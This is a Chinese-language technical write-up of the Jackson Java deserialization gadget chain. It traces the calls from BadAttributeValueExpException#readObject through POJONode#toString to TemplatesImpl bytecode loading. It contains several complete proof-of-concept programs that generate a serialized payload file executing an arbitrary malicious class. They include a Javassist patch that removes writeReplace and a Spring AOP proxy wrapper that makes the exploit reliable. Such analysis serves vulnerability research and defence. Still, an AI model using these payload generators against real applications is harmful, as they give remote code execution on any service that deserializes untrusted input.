Jackson 反序列化链
阅读这篇文章前,推荐先了解CommonsCollections3这条利用链
getter to sink
Jackson 反序列化链的 sink 点依旧是 TemplatesImpl#defineClass 加载字节码。从 getter 到 defineClass 这一半调用链是我们很熟悉的:
TemplatesImpl.getOutputProperties()
-> TemplatesImpl.newTransformer()
-> TemplatesImpl.getTransletInstance()
-> TemplatesImpl.defineTransletClasses()
-> TransletClassLoader.defineClass()
-> Class.newInstance()
实际上我们需要找的就是一条能走到这个 getter 的利用链。
放一个 POC 在这里以便后面参考:
package org.burger;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Poc {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("Evil.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] { code });
setFieldValue(obj, "_name", "Burger King");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.getOutputProperties();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
toString to getter
在 Jackson 中,POJONode#toString 方法可以走到调用 getter 方法,具体调用链如下:
BaseJsonNode.toString()
-> InternalNodeMapper.nodeToString()
-> ObjectWriter.writeValueAsString()
-> ObjectWriter._writeValueAndClose()
-> ObjectWriter.serialize()
-> DefaultSerializerProvider.serializeValue()
-> DefaultSerializerProvider._serialize()
-> BeanSerializer.serialize()
-> BeanSerializerBase.serializeFields()
-> BeanPropertyWriter.serializeAsField()
-> Method.invoke()
我们跟进一下这条调用链,首先 POJONode 调用的是它父类 ValueNode 的父类 BaseJsonNode 的 toString ,它的目的是调用一个工具类 InternalNodeMapper 把当前 JsonNode 对象序列化为 JSON 文本:
com.fasterxml.jackson.databind.node.BaseJsonNode#toString:
public String toString() {
return InternalNodeMapper.nodeToString(this);
}
继续看这个 InternalNodeMapper#nodeToString,实现也很简单,它持有一个静态的 STD_WRITER(即 ObjectWriter 的实例)。它的目的也是把节点当成 value,交给 ObjectMapper 的 writer 去写。
com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString:
public static String nodeToString(JsonNode n) {
try {
return STD_WRITER.writeValueAsString(n);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
继续跟进到 ObjectWriter#writeValueAsString ,这里创建了底层的 JsonGenerator,它负责向缓冲区(SegmentedStringWriter)写入 JSON 字符。_writeValueAndClose 方法会启动序列化流程。它的功能实际上是把一个 Java 对象序列化成 JSON 字符串。这和 Fastjson 的实现非常相似,二者均会自动调用 getter。
com.fasterxml.jackson.databind.ObjectWriter#writeValueAsString:
public String writeValueAsString(Object value) throws JsonProcessingException {
SegmentedStringWriter sw = new SegmentedStringWriter(this._generatorFactory._getBufferRecycler());
try {
this._writeValueAndClose(this.createGenerator((Writer)sw), value);
}
// ... catch blocks
return sw.getAndClear();
}
这里的 serialize 方法实际上是选择使用哪一个 serializer 入口,在我们的新对象里,代码会进入最后的 else 分支。
com.fasterxml.jackson.databind.ObjectWriter.Prefetch#serialize:
public void serialize(JsonGenerator gen, Object value, DefaultSerializerProvider prov) throws IOException {
if (this.typeSerializer != null) {
prov.serializePolymorphic(gen, value, this.rootType, this.valueSerializer, this.typeSerializer);
} else if (this.valueSerializer != null) {
prov.serializeValue(gen, value, this.rootType, this.valueSerializer);
} else if (this.rootType != null) {
prov.serializeValue(gen, value, this.rootType);
} else {
prov.serializeValue(gen, value);
}
}
Jackson 是基于策略模式的。不同的对象需要不同的 JsonSerializer。serializeValue 方法会调用 findTypedValueSerializer 方法去寻找对应的 JsonSerializer。这也就解释了为什么调用链的开头一定要是 POJONode。POJONode 是 Jackson 内部用来包装一个普通 Java 对象(Plain Old Java Object)的节点,当它被序列化时,Jackson 会取出内部包装的 Object,并查找适合该 Object 的序列化器。对于普通 JavaBean,找到的就是 BeanSerializer。
com.fasterxml.jackson.databind.ser.DefaultSerializerProvider#serializeValue:
public void serializeValue(JsonGenerator gen, Object value) throws IOException {
this._generator = gen;
if (value == null) {
this._serializeNull(gen);
} else {
Class<?> cls = value.getClass();
// 动态查找序列化器
JsonSerializer<Object> ser = this.findTypedValueSerializer(cls, true, (BeanProperty)null);
PropertyName rootName = this._config.getFullRootName();
if (rootName == null) {
if (this._config.isEnabled(SerializationFeature.WRAP_ROOT_VALUE)) {
this._serialize(gen, value, ser, this._config.findRootName(cls));
return;
}
} else if (!rootName.isEmpty()) {
this._serialize(gen, value, ser, rootName);
return;
}
this._serialize(gen, value, ser);
}
}
这里是真正对 serialize 方法的调用。
com.fasterxml.jackson.databind.ser.DefaultSerializerProvider#_serialize:
private final void _serialize(JsonGenerator gen, Object value, JsonSerializer<Object> ser, PropertyName rootName) throws IOException {
try {
gen.writeStartObject();
gen.writeFieldName(rootName.simpleAsEncoded(this._config));
ser.serialize(value, gen, this);
gen.writeEndObject();
} catch (Exception e) {
throw this._wrapAsIOE(gen, e);
}
}
这是 BeanSerializer 类的核心入口方法,负责协调 JSON 结构的开始与结束,并决定如何填充中间的字段数据。
com.fasterxml.jackson.databind.ser.BeanSerializer#serialize:
public final void serialize(Object bean, JsonGenerator gen, SerializerProvider provider) throws IOException {
if (this._objectIdWriter != null) {
gen.setCurrentValue(bean);
this._serializeWithObjectId(bean, gen, provider, true);
} else {
gen.writeStartObject(bean);
if (this._propertyFilterId != null) {
this.serializeFieldsFiltered(bean, gen, provider);
} else {
this.serializeFields(bean, gen, provider);
}
gen.writeEndObject();
}
}
实际上 BeanSerializer 在初始化时,已经通过反射分析了目标 Class 的所有 getter 方法,并将它们封装成了 BeanPropertyWriter 数组(this._props)。这里只是遍历它们。
com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields:
protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider) throws IOException {
BeanPropertyWriter[] props;
if (this._filteredProps != null && provider.getActiveView() != null) {
props = this._filteredProps;
} else {
props = this._props;
}
int i = 0;
try {
for(int len = props.length; i < len; ++i) {
BeanPropertyWriter prop = props[i];
if (prop != null) {
prop.serializeAsField(bean, gen, provider);
}
}
// ...
}
// ...
}
最终的触发点在 BeanPropertyWriter#serializeAsField ,它会调用对应属性值的 getter 方法来进行赋值。这里的 bean 是封装在 POJONode 中的原始 Java 对象,this._accessorMethod 实际上就是对应的 getter,通过 invoke() 反射调用。
com.fasterxml.jackson.databind.ser.BeanPropertyWriter#serializeAsField:
public void serializeAsField(Object bean, JsonGenerator gen, SerializerProvider prov) throws Exception {
Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null);
// ... 后续是将 value 写入 JSON 的逻辑
}
好了,这就是这条利用链的 toString to getter 部分,奖励自己弹个计算器吧,毕竟谁不喜欢弹计算器呢。对于原始 POC 的修改也很简单,把 TemplatesImpl 对象包装进 POJONode 就好。
package org.burger;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Poc {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("Evil.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] { code });
setFieldValue(obj, "_name", "Burger King");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
POJONode jsonNode = new POJONode(obj);
jsonNode.toString();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
readObject to toString
那要如何在反序列化中利用这条 Jackson 链呢?我们就需要找到一个合适的 readObject 方法,它会调用内部成员变量的 toString() 方法。这里我们用到的就是 BadAttributeValueExpException#readObject,它是一个原生类:
javax.management.BadAttributeValueExpException#readObject:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
好了,接下来尝试写一个 POC 吧。
如果你真的尝试了直接序列化的话,你会发现你的恶意类在序列化阶段报错了,同时弹出了计算器。这是由于 Java 在使用 writeObject序列化类的时候,如果序列化的类实现了这个方法,这个方法就会被调用。
而很巧的是 POJONode 的基类 BaseJsonNode 就实现了 writeReplace 方法,其原因是Jackson 为了让 JsonNode 支持 Java 原生序列化,实现了一个策略:在 Java 序列化时,先把自己转换成 JSON 格式的字节数组。是不是很眼熟?
没错,这会导致我们的恶意 POJONode 对象走一遍类似上面的 toString to getter 链。也就是说就算没有报错,我们的序列化字节流里保存的不是恶意的 。TemplatesImpl 对象了,而是一个 ObjectNode(普通的 JSON 对象,只包含数据)。
解决方法其实非常简单,把这个方法删了就好。有几种方法,不太优雅的是写一个同包名的Class,然后把 writeReplace 方法注释掉或者直接修改依赖的 Jar 包内容;优雅一点的是这样,利用 Javassist 修改类:
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
// 将修改后的类加载到当前 ClassLoader
ctClass.toClass();
System.out.println("成功移除 BaseJsonNode.writeReplace 方法!");
} catch (Exception e) {
System.err.println("修改类失败,可能是因为类已经被加载了:" + e.getMessage());
return;
}
完整 POC:
package org.burger;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Poc {
public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception e) {
return;
}
byte[] code = Files.readAllBytes(Paths.get("Evil.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { code });
setFieldValue(templates, "_name", "Burger King");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
POJONode jsonNode = new POJONode(templates);
BadAttributeValueExpException badAttribute = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttribute, jsonNode);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(badAttribute);
oos.close();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
解决不稳定问题
在 Jackson 依次触发 getter 时,其获取所有 getter 的顺序是使用 getDeclaredMethods 方法。根据 Java 官方文档,这个方法获取的顺序是随机 的,如果获取到非预期的 getter 就会直接报错退出了。
这里我们可以用 Spring Boot 里一个代理工具类进行封装,使 Jackson 只获取到我们需要的 getter,就实现了稳定利用。(调用链分析日后再做)
POC:
package org.burger;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Poc {
public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception e) {
return;
}
byte[] code = Files.readAllBytes(Paths.get("Evil.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { code });
setFieldValue(templates, "_name", "Burger King");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
AdvisedSupport support = new AdvisedSupport();
support.setTarget(templates);
Class<?> proxyClass = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> constructor = proxyClass.getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
Templates proxy = (Templates) Proxy.newProxyInstance(
Templates.class.getClassLoader(),
new Class[]{Templates.class},
handler
);
POJONode jsonNode = new POJONode(proxy);
BadAttributeValueExpException badAttribute = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttribute, jsonNode);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(badAttribute);
oos.close();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}